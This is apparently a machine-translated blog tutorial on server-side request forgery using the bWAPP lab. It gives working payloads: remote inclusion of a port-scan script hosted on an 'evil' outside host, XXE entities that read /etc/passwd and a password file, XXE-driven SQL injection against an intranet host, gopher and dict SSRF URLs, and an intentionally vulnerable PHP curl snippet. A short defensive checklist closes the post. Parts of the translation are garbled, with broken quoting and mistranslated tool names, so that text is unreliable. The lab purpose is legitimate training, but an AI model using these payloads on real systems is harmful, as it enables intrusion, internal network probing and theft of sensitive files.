SSRF falsificación de solicitudes del lado del servidor métodos de prevención y combate ofensivos y defensivos

Combate ofensivo y defensivo y métodos de prevención.

SSRF en bWAPP ofrece 3 pequeños experimentos para ilustrar los escenarios de uso de SSRF

Tarea 1: usar la inclusión remota de archivos para escanear puertos (detección de intranet)

Haga clic en Escaneo de puertos en la Tarea 1 para obtener un script de ataque de escaneo de puertos.
Solo necesita incluir el script y solicitar el parámetro IP como el host correspondiente. El siguiente paso es usar la vulnerabilidad de inclusión remota de archivos en bWAPP para realizar el script de escaneo de puertos
Elija. En su error, elija el nivel de seguridad de Inclusión remota y local de archivos (RFI / LFI) o seleccione bajo, y luego haga clic en Hackear para
ingresar al experimento de Inclusión remota y local de archivos (RFI / LFI), y vea que hay un módulo de función para seleccionar el idioma. A continuación, observe
los parámetros en la solicitud Get y descubra que el archivo típico contiene problemas Language = lang_en.php
Solicitud GET: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
Use el siguiente PAYLOAD, Incluya y ejecute de forma remota scripts de escaneo para detectar puertos y servicios de hosts de intranet

POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ss
rf-1.txt & action = go POST DATA: ip = 192.168.163.159
aquí xxx.xxx .xxx (192.168.163.1) es las secuencias de comandos de escaneo de direcciones de acceso, 192.168.163.159 es la dirección de host de destino que va a escanear, y la dirección es anfitrión xxx.xxx.xxx no puede tener acceso a, y el uso posterior para una fácil visualización distinguir presentar una solicitud
para ser Escanee la IP del host de destino y devuelva el resultado después del escaneo.

Tarea 2: Use XXE para obtener el contenido de archivos confidenciales (lectura de archivos)

Primero haga clic en Acceso en la Tarea 2 para obtener el script de utilización XXE: http://xxx.xxx.xxx/bWAPP/xxe-1.php, luego acceda al
entorno de ejercicio de Ataques de entidad externa XML (XXE), use burpSuite para capturar el paquete y enviar Vaya al repetidor
para probar el
conocimiento XXE involucrado en la prueba, puede consultar el artículo http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA.
Use el protocolo http para obtener el contenido de /bWAPP/robots.txt.

<?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/1/bwapp/robots.txt"> ]>
 <reset>  <login>&bWAPP;
 </login> 
  <secret>blah</secret> 
   </reset>

definición de versión xml definición
DTD elemento raíz tipo de elemento
leer contenido de archivo contenido de
referencia

php: //filter/read=convert.base64-encode/resource=http: //192.168.0.67/1/bwapp/passwords/he
roes.xml
usa el protocolo php para obtener la base64 en /bWAPP/passwords/heroes.xml Datos codificados

Use el protocolo de archivo para obtener el contenido de bWAPP nativo / etc / passwd

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file://etc/passwd"> ]> <reset> 

<login>&bWAPP;</login>  <secret>blah</secret>  </reset>

Aplicable al documento que contiene símbolos especiales, cuando la ejecución xml reportará un error, aquí use la codificación del protocolo php, omita

Tarea 3: usar XXE para la inyección de intranet sql

Esta tarea aprovecha las vulnerabilidades de inyección SQL en los sitios de intranet. Por ejemplo, si hay una vulnerabilidad de inyección en el host 192.168.163.150,
puede enviar la siguiente carga útil: puede usar SSRF para explotar vulnerabilidades de SQL y, por supuesto, también puede usar Struts2 y otras vulnerabilidades
.

1.<?xml version=1.0″ encoding=”utf-8?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM 
"http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

Desarrollo del conocimiento de la SSRF

Lo anterior describe el uso general de SSRF. Utiliza los protocolos http, file y php para la detección de intranet, la lectura de archivos y la utilización de vulnerabilidades. La siguiente discusión es
el conocimiento ampliado de SSRF . Recuerde que los usos anteriores se realizan enviando solicitudes GET. Entonces, ¿piensa si la vulnerabilidad del sitio interno está en los parámetros de la solicitud POST? ¿O es la vulnerabilidad en
un campo en el encabezado de la solicitud? ¿Cómo debe construirse la solicitud SSRF para la explotación?

Construcción experimental de máquinas objetivo

Del contenido de la tabla anterior, puede saber que el uso del protocolo Gopher en PHP requiere soporte curl. Por supuesto, curl también admite muchos protocolos. Primero, prepare el
entorno de la lámpara. Si PHP en ubuntu no tiene extensiones curl, debe usar el siguiente comando. Instale
sudo apt-get install php5-curl
sudo service apache restart Luego escriba el siguiente código de prueba, el punto de entrada controlable por el usuario es $ _GET ['url']

			1.<?php
2.// 创建一个新 cURL 资源
3.$ch = curl_init();
4.// 设置 URL 和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
www.oldboyedu.com
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取 URL 并把它传递给浏览器
8.curl_exec($ch);
9.//关闭 cURL 资源,并且释放系统资源
10.curl_close($ch);
11.?>

Uso del protocolo de archivo

Solicite http://192.168.163.150/test.php?url=file:///etc/passwd para obtener información sobre archivos confidenciales

Uso del protocolo Gopher

En el exploit SSRF, el protocolo gopher, que se conoce como Wanjin oil. El protocolo gopher
es un protocolo que apareció antes que el protocolo http. No se usa comúnmente ahora, pero en el exploit SSRF, se puede decir que el gopher es Wanjin oil, porque el gopher se puede usar para enviar solicitudes en varios formatos. Paquete, este cambio puede resolver el problema de que el punto de vulnerabilidad no está en el parámetro GET.
Formato de protocolo básico:
URL:gopher://<host>:<port>/<gopher-path>

Puede enviar una solicitud POST con la siguiente solicitud, y el valor del parámetro cmd es balabal: al construir la solicitud Gopher, el símbolo de retorno de carro y avance de línea debe
codificarse en URL dos veces 250 %% 250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/
1.1% 250d% 250aHost:% 20192.168.0.105: 8080% 250d% 250aUser -Agente:% 20curl / 7.43.0% 250d% 2
50a Aceptar:% 20 * / *% 250d% 250a Tipo de contenido:% 20 aplicación / x-www-form-urlencoded% 250d% 2
50a% 250d% 250aid = 1

En este momento, puede encontrar el registro de acceso en el archivo access.log del host 192.168.0.105.
Por supuesto, también puede usar la herramienta de análisis de paquetes de red (eructo) para capturar los datos HTTP en el tráfico TCP. Debido a que Gopher puede construir varios paquetes de solicitud HTTP, Desempeña el papel del petróleo Wanjin en la explotación de la vulnerabilidad SSRF. El método de ataque específico puede referirse al siguiente enlace:
https://blog.chaitin.cn/gopher-attack-surfaces/

aplicación de protocolo dict

El protocolo dict es un protocolo de servidor de diccionario. Generalmente se usa para permitir a los clientes acceder a más fuentes de diccionario durante el uso. Sin embargo, si puede usar el
protocolo dict en SSRF, puede obtener fácilmente información como la versión del servicio que se ejecuta en el puerto del servidor de destino.
Por ejemplo, si solicita http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info,
puede obtener la aplicación de mysq-l5.5.55 que se ejecuta en el puerto 3306 del host de destino.

	**有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html**

Método de protección SSRF

1. Medidas de protección.

(Lista negra)
(1) Filtro 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, dirección privada localhost, dirección IPv6
(2) Archivo de filtro: ///, dict: //, gopher: / /, Ftp: // esquema peligroso
(3) Identificar el contenido devuelto
(4) Autenticación del servicio de intranet (Memcached, Redis, Elasticsearch y MongoDB)

2. La mejor protección

(1) Use la lista blanca de direcciones
(2) Identifique el contenido devuelto
(3) Cuando necesite usar recursos de Internet (como el uso de imágenes de red en la barra de publicación) y no pueda usar la lista blanca: primero deshabilite CURLOPT_FOLLOWLOCATION; luego obtenga la
IP de destino por nombre de dominio y filtre IP interna; finalmente identifique si el contenido devuelto es consistente con el contenido supuesto

Publicado 94 artículos originales · ganado elogios 8 · vistas 5218

Supongo que te gusta

Origin blog.csdn.net/weixin_43079958/article/details/105442833
Recomendado
Clasificación